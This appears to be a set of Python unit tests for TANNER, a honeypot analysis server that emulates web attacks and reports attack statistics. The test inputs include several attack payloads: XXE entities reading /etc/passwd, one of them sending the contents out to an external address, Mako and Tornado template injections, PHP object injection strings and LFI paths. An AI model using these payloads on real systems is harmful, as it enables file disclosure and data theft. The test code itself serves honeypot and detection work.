def setUp(self): d = dict( MONGO={ "enabled": "False", "URI": "mongodb://localhost" }, LOCALLOG={ "enabled": "False", "PATH": "/tmp/tanner_report.json" }, ) m = mock.MagicMock() m.__getitem__.side_effect = d.__getitem__ m.__iter__.side_effect = d.__iter__ with mock.patch("tanner.tests.test_server.TannerConfig") as p: TannerConfig.config = m TannerConfig.get = m.get with mock.patch("tanner.dorks_manager.DorksManager", mock.Mock()): with mock.patch("tanner.emulators.base.BaseHandler", mock.Mock(), create=True): with mock.patch( "tanner.sessions.session_manager.SessionManager", mock.Mock(), create=True): self.serv = server.TannerServer() self.test_uuid = uuid.uuid4() async def _add_or_update_mock(data, client): sess = mock.Mock() sess.set_attack_type = mock.Mock() sess_id = hashlib.md5(b"foo") test_uuid = uuid sess.get_uuid = mock.Mock(return_value=str(self.test_uuid)) return sess, sess_id async def _delete_sessions_mock(client): pass self.serv.session_manager.add_or_update_session = _add_or_update_mock self.serv.session_manager.delete_sessions_on_shutdown = _delete_sessions_mock async def choosed(client): return [x for x in range(10)] dorks = mock.Mock() dorks.choose_dorks = choosed dorks.extract_path = self._make_coroutine() redis = AsyncMock() redis.close = mock.Mock() redis.wait_closed = AsyncMock() self.serv.dorks = dorks self.serv.redis_client = redis super(TestServer, self).setUp()
async def test_handle_index(self): self.handler.api.return_snares = AsyncMock(return_value=["foo"]) self.handler.api.return_latest_session = AsyncMock() response = await self.client.request("GET", "/") self.returned_content = await response.text() self.assertEqual(response.status, 200)
def setUp(self): self.loop = asyncio.new_event_loop() self.handler = TannerWebServer() self.handler.api = AsyncMock() self.handler.redis_client = AsyncMock() self.handler.redis_client.close = AsyncMock() self.returned_content = None self.expected_content = None super(TestWebServer, self).setUp()
def test_handle_oob(self): config.TannerConfig.get = mock.MagicMock(return_value=True) code = '<?xml version="1.0" encoding="ISO-8859-1"?>' \ '<!DOCTYPE foo [ <!ELEMENT foo ANY >' \ '<!ENTITY % xxe SYSTEM "file:///etc/passwd">' \ '<!ENTITY % int \'<!ENTITY % trick SYSTEM ]>' \ '"http://192.168.1.1:8080/?p=%xxe;">\'> ' attack_params = [dict(id='OOB', value=code)] self.handler.helper.get_result = AsyncMock( return_value={ 'file_md5': 'a43deb0f2d7904cbb6c27c02ed7c2593', 'stdout': 'root:x:0:0:root:/root:/bin/bash\n\n' 'daemon:x:1:1:daemon:/usr/sbin' }) self.expected_result = "" async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertEqual(self.returned_result['value'], self.expected_result)
def test_return_snare_stats(self): sessions = [{ "end_time": 2.00, "start_time": 0.00, "attack_types": ["lfi", "xss"] }, { "end_time": 4.00, "start_time": 2.00, "attack_types": ["rfi", "lfi", "cmd_exec"] }] self.handler.return_snare_info = AsyncMock(return_value=sessions) self.expected_content = { "attack_frequency": { 'cmd_exec': 1, 'lfi': 2, 'rfi': 1, 'sqli': 0, 'xss': 1 }, 'total_duration': 4.0, 'total_sessions': 2 } async def test(): self.returned_content = await self.handler.return_snare_stats( self.snare_uuid) self.loop.run_until_complete(test()) self.assertEqual(self.returned_content, self.expected_content)
def test_handle(self): config.TannerConfig.get = mock.MagicMock(return_value=False) code = '<?xml version="1.0" encoding="ISO-8859-1"?>' \ '<!DOCTYPE foo [ <!ELEMENT foo ANY >' \ '<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>' \ '<data>&xxe;</data>' attack_params = [dict(id='foo', value=code)] self.handler.helper.get_result = AsyncMock( return_value={ 'file_md5': 'a43deb0f2d7904cbb6c27c02ed7c2593', 'stdout': 'root:x:0:0:root:/root:/bin/bash\n\n' 'daemon:x:1:1:daemon:/usr/sbin' }) self.expected_result = "root:x:0:0:root:/root:/bin/bash" async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertIn(self.expected_result, self.returned_result['value'])
def test_emulate_type_3(self): self.handler.handle_get = AsyncMock( return_value={ 'name': 'php_code_injection', 'order': 3, 'payload': { 'status_code': 504 } }) data = dict(method='GET', path='/index.html?file=/etc/passwd', cookies={'sess_uuid': '9f82e5d0e6b64047bba996222d45e72c'}) self.handler.set_injectable_page = mock.Mock() detection = self.loop.run_until_complete( self.handler.emulate(data, self.session)) assert_detection = { 'name': 'php_code_injection', 'order': 3, 'payload': { 'status_code': 504 }, 'type': 3, 'version': tanner_version } self.assertEqual(detection, assert_detection) assert not self.handler.set_injectable_page.called
def test_emulate_type_2(self): self.handler.handle_get = AsyncMock(return_value={ 'name': 'lfi', 'order': 2, 'payload': { 'page': '/something.html' } }) data = dict(method='GET', path='/path.html?file=/etc/passwd', cookies={'sess_uuid': '9f82e5d0e6b64047bba996222d45e72c'}) self.handler.set_injectable_page = mock.MagicMock( return_value='/path.html') async def test(): self.detection = await self.handler.emulate(data, self.session) self.loop.run_until_complete(test()) self.handler.set_injectable_page.assert_called_with(self.session) assert_detection = { 'name': 'lfi', 'order': 2, 'payload': { 'page': '/path.html' }, 'type': 2, 'version': tanner_version } self.assertEqual(self.detection, assert_detection)
def test_return_session_info_none(self): self.handler.return_snares = AsyncMock(return_value=[ "8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4", "6ea6aw67-7821-4085-7u6t-q1io3p0i90b1" ]) async def mock_return_snare_info(snare_uuid): sessions = None if snare_uuid == "8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4": sessions = [{"sess_uuid": "da1811cd19d748058bc02ee5bf9029d4"}] if snare_uuid == "6ea6aw67-7821-4085-7u6t-q1io3p0i90b1": sessions = [{"sess_uuid": "c546114f97f548f982756495f963e280"}] return sessions self.handler.return_snare_info = mock_return_snare_info self.expected_content = { 'sess_uuid': 'da1811cd19d748058bc02ee5bf9029d4' } async def test(): self.returned_content = await self.handler.return_session_info( self.uuid) self.loop.run_until_complete(test()) self.assertEqual(self.returned_content, self.expected_content)
def test_choose_dorks(self): self.handler.init_dorks = AsyncMock() random.randint = mock.Mock(return_value=3) self.handler.init_done = False self.expected_result = [ 'index.php/image?p=rs', 'file.php?q=par', 'index.php?qry=param', 'index.php?q=p', 'file1.php?q=ar', 'index.php/image2?p=r' ] async def setup(): await self.handler.push_init_dorks(self.dorks_pickle, self.handler.dorks_key, self.redis_client) await self.handler.push_init_dorks(self.user_dorks_pickle, self.handler.user_dorks_key, self.redis_client) self.loop.run_until_complete(setup()) async def test(): self.returned_result = await self.handler.choose_dorks( self.redis_client) self.loop.run_until_complete(test()) self.handler.init_dorks.assert_called() for data in self.returned_result: assert data in self.expected_result
def test_handle_mako(self): self.handler.docker_helper.execute_cmd = AsyncMock(return_value='posix.uname_result(sysname="Linux")') payload = "<%\nimport os\nx=os.uname()\n%>\n${x}" attack_params = [dict(id="foo", value=payload)] self.returned_result = self.loop.run_until_complete(self.handler.handle(attack_params, self.sess)) self.expected_result = os.uname() self.assertIn(self.expected_result[0], self.returned_result["value"])
def test_return_sessions_error(self): self.handler.return_snares = AsyncMock( return_value=["8fa6aa98-4283-4085-bfb9-a1cd3a9e56e4"]) session = [{"attack_types": ["rfi", "lfi"]}] self.handler.return_snare_info = AsyncMock(return_value=session) self.filters = {"attacktypes": "lfi"} self.expected_content = 'Invalid filter : attacktypes' async def test(): self.returned_content = await self.handler.return_sessions( self.filters) self.loop.run_until_complete(test()) self.assertEqual(self.expected_content, self.returned_content)
def test_init_dorks_none(self): self.handler.dorks_key = None self.handler.user_dorks_key = None self.handler.push_init_dorks = AsyncMock() async def test(): await self.handler.init_dorks(self.redis_client) self.loop.run_until_complete(test()) self.handler.push_init_dorks.assert_not_called()
async def test_handle_snares(self): self.handler.api.return_snares = AsyncMock(return_value=["9a631aee-2b52-4108-9831-b495ac8afa80"]) response = await self.client.request("GET", "/snares") self.returned_content = await response.text() self.expected_content = ( '<a href="/snare/9a631aee-2b52-4108-9831-b495ac8afa80">' "9a631aee-2b52-4108-9831-b495ac8afa80</a>" ) self.assertIn(self.expected_content, self.returned_content)
def test_emulate_type_1(self): data = dict(method="GET", path="/index.html", cookies={"sess_uuid": "9f82e5d0e6b64047bba996222d45e72c"}) self.handler.handle_get = AsyncMock(return_value={"name": "index", "order": 1}) self.handler.set_injectable_page = mock.Mock() detection = self.loop.run_until_complete(self.handler.emulate(data, self.session)) assert_detection = {"name": "index", "order": 1, "type": 1, "version": tanner_version} self.assertEqual(detection, assert_detection) assert not self.handler.set_injectable_page.called
def test_extract_path_error(self): self.path = '/index.html?page=26' self.redis_client.sadd = AsyncMock(side_effect=aioredis.ProtocolError) async def test(): await self.handler.extract_path(self.path, self.redis_client) with self.assertLogs(level='ERROR') as log: self.loop.run_until_complete(test()) self.assertIn('Problem with redis connection', log.output[0])
def test_setup_db_from_config(self, m): config = { "name": "test_db", "tables": [ { "schema": "CREATE TABLE TEST (ID INTEGER PRIMARY KEY, USERNAME TEXT)", "table_name": "TEST", "data_tokens": "I,L", }, { "schema": "CREATE TABLE CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), PASSWORD VARCHAR(15))", "table_name": "CREDS", "data_tokens": "I,E,P", }, ], } def mock_read_config(): return config self.expected_result = [ (("ID", "int(11)", "NO", "PRI", None, ""), ("USERNAME", "text", "YES", "", None, "")), ( ("ID", "int(11)", "NO", "PRI", None, ""), ("EMAIL", "varchar(15)", "YES", "", None, ""), ("PASSWORD", "varchar(15)", "YES", "", None, ""), ), ] self.result = [] self.handler.read_config = mock_read_config self.handler.insert_dummy_data = AsyncMock() calls = [ mock.call("TEST", "I,L", mock.ANY), mock.call("CREDS", "I,E,P", mock.ANY) ] async def test(): await self.handler.setup_db_from_config() for table in config["tables"]: await self.cursor.execute("USE test_db") await self.cursor.execute("DESCRIBE {table_name}".format( table_name=table["table_name"])) result = await self.cursor.fetchall() self.result.append(result) self.loop.run_until_complete(test()) self.assertEqual(self.result, self.expected_result) self.handler.insert_dummy_data.assert_has_calls(calls, any_order=True)
def test_handle_tornado(self): self.handler.docker_helper.execute_cmd = AsyncMock( return_value='posix.uname_result(sysname="Linux")') payload = '{%import os%}{{os.uname()}}' attack_params = [dict(id='foo', value=payload)] self.returned_result = self.loop.run_until_complete( self.handler.handle(attack_params, self.sess)) self.expected_result = os.uname() self.assertIn(self.expected_result[0], self.returned_result['value'])
def test_setup_db_not_exists(self, m): self.expected_result = { 'comments': [ { 'name': 'comment_id', 'type': 'INTEGER' }, ], 'users': [ { 'name': 'id', 'type': 'INTEGER' }, ] } self.handler.helper.create_query_map = AsyncMock( return_value={ 'comments': [ { 'name': 'comment_id', 'type': 'INTEGER' }, ], 'users': [ { 'name': 'id', 'type': 'INTEGER' }, ] }) self.handler.helper.setup_db_from_config = AsyncMock() async def test(): await self.handler.helper.delete_db(self.db_name) self.returned_result = await self.handler.setup_db() self.loop.run_until_complete(test()) self.handler.helper.setup_db_from_config.assert_called_with( self.db_name) self.handler.helper.create_query_map.assert_called_with(self.db_name)
def test_setup_db_not_exists(self, m): self.expected_result = { "comments": [ { "name": "comment_id", "type": "INTEGER" }, ], "users": [ { "name": "id", "type": "INTEGER" }, ], } self.handler.helper.create_query_map = AsyncMock( return_value={ "comments": [ { "name": "comment_id", "type": "INTEGER" }, ], "users": [ { "name": "id", "type": "INTEGER" }, ], }) self.handler.helper.setup_db_from_config = AsyncMock() async def test(): await self.handler.helper.delete_db(self.db_name) self.returned_result = await self.handler.setup_db() self.loop.run_until_complete(test()) self.handler.helper.setup_db_from_config.assert_called_with( self.db_name) self.handler.helper.create_query_map.assert_called_with(self.db_name)
def test_init_dorks(self): self.handler.push_init_dorks = AsyncMock() calls = [ mock.call(config.TannerConfig.get("DATA", "dorks"), mock.ANY, self.redis_client), mock.call(config.TannerConfig.get("DATA", "user_dorks"), mock.ANY, self.redis_client), ] async def test(): await self.handler.init_dorks(self.redis_client) self.loop.run_until_complete(test()) self.handler.push_init_dorks.assert_has_calls(calls)
async def test_handle_snare_stats(self): content = {"attack_frequency": {"cmd_exec": 1, "lfi": 2, "rfi": 1, "sqli": 0, "xss": 1}} self.handler.api.return_snare_stats = AsyncMock(return_value=content) response = await self.client.request("GET", "/snare-stats/9a631aee-2b52-4108-9831-b495ac8afa80") self.returned_content = await response.text() self.clear_returned_content = "".join(self.returned_content.split()[65:-8]) self.expected_content = ( "<tr><td><b>AttackFrequency</b></td><td>cmd_exec:1<br>lfi:2" "<br>rfi:1<br>sqli:0<br>xss:1<br></td>" ) self.assertEqual(self.expected_content, self.clear_returned_content.strip())
def test_handle_status_code(self): self.handler.get_injection_result = AsyncMock(return_value=None) attack_params = [ dict(id="foo", value="O:15:'ObjectInjection':1:{s:6:'insert';}") ] self.expected_result = dict(status_code=504) async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertEqual(self.returned_result, self.expected_result)
def test_handle_status_code(self): self.handler.get_injection_result = AsyncMock(return_value=None) attack_params = [ dict(id='foo', value='<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>') ] self.expected_result = dict(status_code=504) async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertEqual(self.returned_result, self.expected_result)
def test_setup_db_from_config(self, m): config = { "name": "test_db", "tables": [{ "schema": "CREATE TABLE TEST (ID INTEGER PRIMARY KEY, USERNAME TEXT)", "table_name": "TEST", "data_tokens": "I,L" }, { "schema": "CREATE TABLE CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), PASSWORD VARCHAR(15))", "table_name": "CREDS", "data_tokens": "I,E,P" }] } def mock_read_config(): return config self.expected_result = [(('ID', 'int(11)', 'NO', 'PRI', None, ''), ('USERNAME', 'text', 'YES', '', None, '')), (('ID', 'int(11)', 'NO', 'PRI', None, ''), ('EMAIL', 'varchar(15)', 'YES', '', None, ''), ('PASSWORD', 'varchar(15)', 'YES', '', None, ''))] self.result = [] self.handler.read_config = mock_read_config self.handler.insert_dummy_data = AsyncMock() calls = [ mock.call('TEST', 'I,L', mock.ANY), mock.call('CREDS', 'I,E,P', mock.ANY) ] async def test(): await self.handler.setup_db_from_config() for table in config["tables"]: await self.cursor.execute('USE test_db') await self.cursor.execute('DESCRIBE {table_name}'.format( table_name=table["table_name"])) result = await self.cursor.fetchall() self.result.append(result) self.loop.run_until_complete(test()) self.assertEqual(self.result, self.expected_result) self.handler.insert_dummy_data.assert_has_calls(calls, any_order=True)
def test_create_attacker_db(self, m): session = mock.Mock() session.sess_uuid.hex = "d877339ec415484987b279469167af3d" attacker_db = "attacker_" + session.sess_uuid.hex self.handler.helper.copy_db = AsyncMock(return_value=attacker_db) self.expected_result = "attacker_d877339ec415484987b279469167af3d" async def test(): self.returned_result = await self.handler.create_attacker_db( session) self.loop.run_until_complete(test()) self.assertEqual(self.returned_result, self.expected_result) session.associate_db.assert_called_with(attacker_db) self.handler.helper.copy_db.assert_called_with(self.db_name, attacker_db)
async def test_sessions_info(self): session = dict( cookies={'sess_uuid': '9f82e5d0e6b64047bba996222d45e72c'}, possible_owners={"user": 1.0}) self.handler.api.return_session_info = AsyncMock(return_value=session) self.expected_content = '<td><b>Cookies</b></td>\n <td>\n \n ' \ 'sess_uuid : 9f82e5d0e6b64047bba996222d45e72c <br>\n \n </td>\n </tr>\n ' \ '<tr>\n <td><b>Referer</b></td>\n <td></td>\n </tr>\n <tr>\n ' \ '<td><b>Possible Owners</b></td>\n <td>\n \n ' \ '<a href="//sessions/page/1?filters=possible_owners:user">user : 1.0</a><br>\n' response = await self.client.request( 'GET', '/session/da1811cd19d748058bc02ee5bf9029d4') self.returned_content = await response.text() self.assertIn(self.expected_content, self.returned_content)
def test_return_session_info(self): sessions = [{ "sess_uuid": "c546114f97f548f982756495f963e280" }, { "sess_uuid": "da1811cd19d748058bc02ee5bf9029d4" }] self.handler.return_snare_info = AsyncMock(return_value=sessions) self.expected_content = { "sess_uuid": "da1811cd19d748058bc02ee5bf9029d4" } async def test(): self.returned_content = await self.handler.return_session_info( self.uuid, self.snare_uuid) self.loop.run_until_complete(test()) self.assertEqual(self.returned_content, self.expected_content)
def test_handle(self): attack_params = [ dict(id="foo", value='O:15:"ObjectInjection":1:{s:6:"insert";s:2:"id";}') ] self.handler.helper.get_result = AsyncMock( return_value={ "file_md5": "a43deb0f2d7904cbb6c27c02ed7c2593", "stdout": "id=0(root) gid=0(root) groups=0(root)", }) self.expected_result = "id=0(root) gid=0(root) groups=0(root)" async def test(): self.returned_result = await self.handler.handle(attack_params) self.loop.run_until_complete(test()) self.assertIn(self.expected_result, self.returned_result["value"])
def test_setup_db_from_config(self): config = { "name": "test_db", "tables": [{ "schema": "CREATE TABLE IF NOT EXISTS CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), " "PASSWORD VARCHAR(15))", "table_name": "CREDS", "data_tokens": "I,E,P", }], } def mock_read_config(): return config self.result = [] self.handler.read_config = mock_read_config self.handler.insert_dummy_data = AsyncMock() calls = [mock.call("CREDS", "I,E,P", mock.ANY)] self.expected_result = [[ ("CREATE TABLE CREDS (ID INTEGER PRIMARY KEY, EMAIL VARCHAR(15), PASSWORD " "VARCHAR(15))", ), ("CREATE TABLE TEST (id INTEGER PRIMARY KEY, username TEXT)", ), ]] async def test(): await self.handler.setup_db_from_config("/tmp/", self.filename) self.cursor.execute( "SELECT sql FROM sqlite_master ORDER BY tbl_name") result = self.cursor.fetchall() self.result.append(result) self.handler.delete_db(self.filename) self.loop.run_until_complete(test()) self.assertEqual(self.result, self.expected_result) self.handler.insert_dummy_data.assert_has_calls(calls, any_order=True)